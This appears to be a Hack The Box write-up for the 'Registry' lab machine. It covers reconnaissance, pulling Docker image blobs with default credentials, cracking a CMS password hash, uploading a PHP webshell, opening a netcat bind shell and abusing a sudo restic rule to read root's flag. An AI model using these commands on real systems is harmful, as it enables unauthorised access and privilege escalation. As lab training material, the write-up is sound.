> For the complete documentation index, see [llms.txt](https://bkr3257.gitbook.io/hackynotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bkr3257.gitbook.io/hackynotes/htb-writeups/registry.md).

# Registry

![Registry](/files/-M3joUK5tw7hVMC81qyM)

Registry is a hard difficulty box that deals with Docker.

## Recon

we start off by scanning Forest's IP `10.10.10.159` with `nmap`

```
nmap -T4 -A -v 10.10.10.159
```

From Our Results we get the following services and ports

```
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
|   256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_  256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp  open  http     nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title.
443/tcp open  ssl/http nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=docker.registry.htb
| Issuer: commonName=Registry
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-05-06T21:14:35
| Not valid after:  2029-05-03T21:14:35
| MD5:   0d6f 504f 1cb5 de50 2f4e 5f67 9db6 a3a9
|_SHA-1: 7da0 1245 1d62 d69b a87e 8667 083c 39a6 9eb2 b2b5
```

From the results we see that `ssh` `http` & `https` are active, but what's interesting here is the `ssl-cert: commonName` which reveals its `docker.registry.htb` we can add this to our `hosts` file&#x20;

```
nano /etc/hosts
10.10.10.159 docker.registry.htb
```

Next let's run `nikto` and see if we can find anything interesting on both the IP and the `docker.registry.htb`

```
nikto -host docker.registry.htb
nikto -host 10.10.10.159
```

our `docker.registry.htb` nikto scan gives us&#x20;

```
Default account found for 'Registry' at /v2/_catalog (ID 'admin', PW 'admin')
```

interesting it found some credentials under `/v2/_catalog`

visiting docker.registry.htb/v2/\_catalog prompts us for credentials which we have. it then takes us to a page that reveals that is running `bolt-cms`

![](/files/-M3kIl9SpRNwhuaRB1eH)

The nikto scan on `10.10.10.159` gives us nothing relevant but upon running a `dirbuster` scan on it we find that it's running `bolt-cms`&#x20;

![](/files/-M3kI581Fczq5E_aUd46)

Now that we have confirmed that the target is running docker and we can authenticate into it, we can now go forward and dig into `docker registry` API <https://docs.docker.com/registry/spec/api/>

Checking the tag list <https://docker.registry.htb/v2/bolt-image/tags/list> we find that it has one tag `latest` navigating to <https://docker.registry.htb/v2/bolt-image/manifests/latest> gives as a file of all the blobs

```
{
   "schemaVersion": 1,
   "name": "bolt-image",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b"
      },
      {
         "blobSum": "sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee"
      },
      {
         "blobSum": "sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c"
      },
      {
         "blobSum": "sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7"
      },
      {
         "blobSum": "sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0"
      },
      {
         "blobSum": "sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a"
      },
      {
         "blobSum": "sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797"
      },
      {
         "blobSum": "sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff"
      }
   ],
   "history": [
      {
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"container\":\"e2e88012228993b25b697ee37a0aae0cb0ecef7b1536d2b8e488a6ec3f353f14\",\"container_config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-05-25T15:18:56.9530238Z\",\"docker_version\":\"18.09.2\",\"id\":\"f18c41121574af38e7d88d4f5d7ea9d064beaadd500d13d33e8c419d01aa5ed5\",\"os\":\"linux\",\"parent\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\"}"
      },
      {
         "v1Compatibility": "{\"id\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\",\"parent\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"created\":\"2019-05-25T15:13:31.3975799Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"parent\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"created\":\"2019-05-25T14:57:27.6745842Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"parent\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"created\":\"2019-05-25T14:47:52.6859489Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"parent\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"created\":\"2019-05-24T22:51:14.8744838Z\",\"container_config\":{\"Cmd\":[\"/bin/bash\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"parent\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"created\":\"2019-04-26T22:21:05.100534088Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/bash\\\"]\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"parent\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"created\":\"2019-04-26T22:21:04.936777709Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c mkdir -p /run/systemd \\u0026\\u0026 echo 'docker' \\u003e /run/systemd/container\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"parent\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"created\":\"2019-04-26T22:21:04.220422684Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c rm -rf /var/lib/apt/lists/*\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"parent\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:03.471632173Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -xe \\t\\t\\u0026\\u0026 echo '#!/bin/sh' \\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 echo 'exit 101' \\u003e\\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 chmod +x /usr/sbin/policy-rc.d \\t\\t\\u0026\\u0026 dpkg-divert --local --rename --add /sbin/initctl \\t\\u0026\\u0026 cp -a /usr/sbin/policy-rc.d /sbin/initctl \\t\\u0026\\u0026 sed -i 's/^exit.*/exit 0/' /sbin/initctl \\t\\t\\u0026\\u0026 echo 'force-unsafe-io' \\u003e /etc/dpkg/dpkg.cfg.d/docker-apt-speedup \\t\\t\\u0026\\u0026 echo 'DPkg::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'APT::Update::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'Dir::Cache::pkgcache \\\"\\\"; Dir::Cache::srcpkgcache \\\"\\\";' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\t\\u0026\\u0026 echo 'Acquire::Languages \\\"none\\\";' \\u003e /etc/apt/apt.conf.d/docker-no-languages \\t\\t\\u0026\\u0026 echo 'Acquire::GzipIndexes \\\"true\\\"; Acquire::CompressionTypes::Order:: \\\"gz\\\";' \\u003e /etc/apt/apt.conf.d/docker-gzip-indexes \\t\\t\\u0026\\u0026 echo 'Apt::AutoRemove::SuggestsImportant \\\"false\\\";' \\u003e /etc/apt/apt.conf.d/docker-autoremove-suggests\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:02.724843678Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:7ce84f13f11609a50ece7823578159412e2299c812746d1d1f1ed5db0728bd37 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "NKSY:RY2I:E4SH:ZP65:5SAI:WWGS:LVPF:PX4D:66XW:6SDI:AAWX:SKTS",
               "kty": "EC",
               "x": "iabCQcqfRWXRy-VPjezvBJs5EgU6jYuDzY8s_2XHXxE",
               "y": "emgMLFaNTKDzSgk5pz7jfZk1gTo_mlyqlDOOvP1NE5s"
            },
            "alg": "ES256"
         },
         "signature": "GlAxQey8xw73ZiHd0h7xBKRBQe-97TTR8hLWlDUV9Av3lyBrNqyMkjV2rmGhWJNQ2jhIqHz5XK31hhy7CQd30Q",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjY3OTIsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMC0wMy0zMVQxMToyOTo0MFoifQ"
      }
   ]
}
```

Blobs often contain configs on the setup and each blob can be thought of as a git commit

From the API we know that we can download these blobs with the URL `https://docker.registry.htb/v2/bolt-image/blobs/sha256:BLOBHASH`

From this we can construct a download list&#x20;

```
https://docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b
https://docker.registry.htb/v2/bolt-image/blobs/sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee
https://docker.registry.htb/v2/bolt-image/blobs/sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c
https://docker.registry.htb/v2/bolt-image/blobs/sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7
https://docker.registry.htb/v2/bolt-image/blobs/sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791
https://docker.registry.htb/v2/bolt-image/blobs/sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
https://docker.registry.htb/v2/bolt-image/blobs/sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0
https://docker.registry.htb/v2/bolt-image/blobs/sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a
https://docker.registry.htb/v2/bolt-image/blobs/sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797
https://docker.registry.htb/v2/bolt-image/blobs/sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff
```

## Exploit

and go on to download them, personally i used `wget --no-check-certificate --http-user=admin --http-password=admin -i BlobList`

Well we got a system dump so to speak within which we find a ssh `id_pub` for the user `bolt` and within another blob we find a script to send the ssh password `GkOcz221Ftb3ugog`

navigating back to the `id_rsa` we can not ssh into the machine with `ssh -i id_rsa bolt@10.10.10.159` once in we can get our first flag!

## Post Exploitation

Once in we can use [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS) to find anything interesting and sure enough it finds the following&#x20;

```
admin, $2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK, bolt@registry.htb, 2020-03-31 12:00:00, 10.10.14.41, Admin, ["files://bolt.html"], 1, None, None, None, 0, None, ["root","everyone"]
```

we can put this hash through `john` to get&#x20;

```
john --wordlist=/root/Downloads/Dic/rockyou.txt pass
strawberry
```

So now we have admin credentials for `bolt-cms`&#x20;

After further exploration we find a backup script in `/var/www/html/`&#x20;

```
<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");
```

it seems that whenever this file is triggered it uses  `sudo` to backup the bolt website via `restic` however we as bolt do not have the privileges to edit or run the above file, so who might? well `www-data` can since it is the web service that triggers the backup. So how do we get `www-data` remember the admin credentials from before? we can login and see if there's a path to executing a shell from there. so off we go to `http://10.10.10.159/bolt/bolt/` and behold admin credentials

using `username:admin` `password:strawberry` gets us access to the cms portal. There seem to be quite a few places we can load a web shell from so let's look around.&#x20;

Well it seems that `xss` is a no go, so how else can we get a shell?. There is a dedicated area to uploading files, however php seems to be restricted, this can easily be amended by going to the Main Configuration and searching for `accept_file_types` once here we can add `php` as a accepted file type and upload our shell to `http://10.10.10.159/bolt/bolt/files/themes/skeleton`

I'm personally a fan of WhiteWinterWolf webshell <https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php> that provides a more stable interface of getting a shell, so let's grab and upload it

![](/files/-M3kXSrnG5Eidqiw4Eab)

Nice, however trying a reverse shell doesn't really work so lets take another approach and set a bind shell with `​ nc.traditional -lp 9999 -e /bin/bash` and connect to it.

running `sudo -l` again gives us&#x20;

```
User www-data may run the following commands on bolt:
    (root) NOPASSWD: /usr/bin/restic backup -r rest*
```

that we can not only execute the `backup.php` but also execute the `restic backup -r rest*` we cannot setup a restic server on the target but we can locally

<https://github.com/restic/rest-server> gives us all the instructions we need to get setup locally. Once we have it installed we can upload `restic-server` to the target via  [scp](/hackynotes/quick-scripts.md#scp).

Once we've done this we can

```
htpasswd -B -c .htpasswd {specify username here} #locally
scp -i id_rsa ~/rest-server/rest-server bolt@10.10.10.159:/tmp/
scp -i id_rsa ~/.htpasswd bolt@10.10.10.159:/tmp/
restic -r /tmp/ init --password-file /tmp/.htpasswd
./rest-server --path /tmp
sudo restic backup -r rest:http://username:password@localhost:8000/  /root/root.txt
```

once the backup is created we can use&#x20;

```
restic -r /tmp/ restore latest --target /tmp/ --password-file /tmp/.htpasswd
```

This will decrypt it and give us our flag

## Useful Links

{% embed url="<https://restic.readthedocs.io/en/stable/030_preparing_a_new_repo.html#rest-server>" %}

{% embed url="<https://restic.readthedocs.io/en/latest/030_preparing_a_new_repo.html>" %}

{% embed url="<https://www.qa.com/resources/our-thinking/anatomy-of-a-hack-docker-registry/>" %}
